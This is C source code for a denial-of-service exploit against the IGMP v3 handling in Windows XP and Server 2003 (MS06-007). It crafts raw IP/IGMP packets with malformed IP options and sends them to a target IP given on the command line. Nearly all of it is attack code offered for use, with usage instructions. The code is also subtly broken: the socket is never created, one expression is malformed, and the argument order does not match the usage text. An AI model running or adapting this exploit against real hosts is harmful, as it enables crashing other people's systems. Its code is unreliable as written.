IGMP v3.0 DoS Exploit - The Byzantine Attack

/*
IGMP v3 DoS Exploit

ref: http://www.juniper.net/security/auto/vulnerabilities/vuln2866.html
ref: http://www.microsoft.com/technet/security/Bulletin/MS06-007.mspx

by Alexey Sintsov (dookie@inbox.ru)

Req:
Administrator rights on system
Windows Firewall off (for sending RAW packets)

Affected Products:
Microsoft Corporation Windows XP All
Microsoft Corporation Windows Server 2003 All
*/


#include <stdio.h>
#include <sys/socket.h>

typedef struct iphdr
{
unsigned char verlen; // IP version & length
unsigned char tos; // Type of service
unsigned short total_len; // Total length of the packet
unsigned short ident; // Unique identifier
unsigned short frag_and_flags; // Flags
unsigned char ttl; // Time to live
unsigned char proto; // Protocol (TCP, UDP etc)
unsigned short checksum; // IP checksum
unsigned int sourceIP; // Source IP
unsigned int destIP; // Destination IP
unsigned short options[2];

} IPHEADER;

typedef struct igmphdr {
unsigned char type;
unsigned char code;
unsigned short checksum;
unsigned long group;
unsigned char ResvSQVR;
unsigned char QQIC;
unsigned short num;
unsigned long addes;

} IGMPHEADER;

USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;

while (size > 1) {
cksum += *buffer++;
size -= sizeof(USHORT);
}

if (size)
cksum += *(UCHAR*)buffer;

cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);

return (USHORT)(~cksum);
}

int sendIGMP(char* a, char* b)
{
unsigned int dst_addr, src_addr;

IPHEADER ipHeader;
IGMPHEADER igmpHeader;
dst_addr=inet_addr (b);
src_addr=inet_addr (a);

char szSendBuf[60]={0};
int rect;

SOCKET sock;

BOOL flag=TRUE;
if (setsockopt(sock,IPPROTO_IP,2,(char *)&flag,sizeof(flag)) == SOCKET_ERROR) {
printf("Set options error");
closesocket(sock);
WSACleanup();
return FALSE;
}

SOCKADDR_IN ssin;
memset(&ssin, 0, sizeof(ssin));
ssin.sin_family=AF_INET;
ssin.sin_port=htons(99);
ssin.sin_addr.s_addr=dst_addr;

ipHeader.verlen=(4<<4 sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(igmpHeader));

ipHeader.ident=htons(0);

ipHeader.frag_and_flags=0;

ipHeader.ttl=128;
ipHeader.proto=IPPROTO_IGMP;

ipHeader.checksum=0;

ipHeader.tos=0;

ipHeader.destIP=dst_addr;
ipHeader.sourceIP=src_addr;

//Ip options
ipHeader.options[0]=htons(0x0000); //bug is here =)
ipHeader.options[1]=htons(0x0000);

igmpHeader.type=0x11; //v3 Membership Query
igmpHeader.code=5;
igmpHeader.num=htons(1);
igmpHeader.ResvSQVR=0x0;
igmpHeader.QQIC=0;
igmpHeader.group=inet_addr("0.0.0.0");
igmpHeader.addes=dst_addr;

igmpHeader.checksum=0;

memcpy(szSendBuf, &igmpHeader, sizeof(igmpHeader));

igmpHeader.checksum=checksum((USHORT *)szSendBuf,sizeof(igmpHeader));

memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &igmpHeader, sizeof(igmpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(igmpHeader), 0, 4);

ipHeader.checksum=ntohs(checksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(igmpHeader)));

memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(igmpHeader),0,(LPSOCKADDR)&ssin, sizeof(ssin));

if (rect==SOCKET_ERROR) {
printf("Send error: <%d>\n",WSAGetLastError());
closesocket(sock);
return 0;
}

closesocket(sock);


return 1;
}

main(int argc, char **argv)
{
if(argc<2)
{
printf("\nIGMP v3 DoS Exploit (MS06-007) by Alexey Sintsov(dookie@inbox.ru)\n\n");
printf("Usage:\n");
printf("c:\\igmps.exe <target ip> <source ip>\n\n");
exit(0);
}

sendIGMP(argv[2], argv[1]);
return 0;
}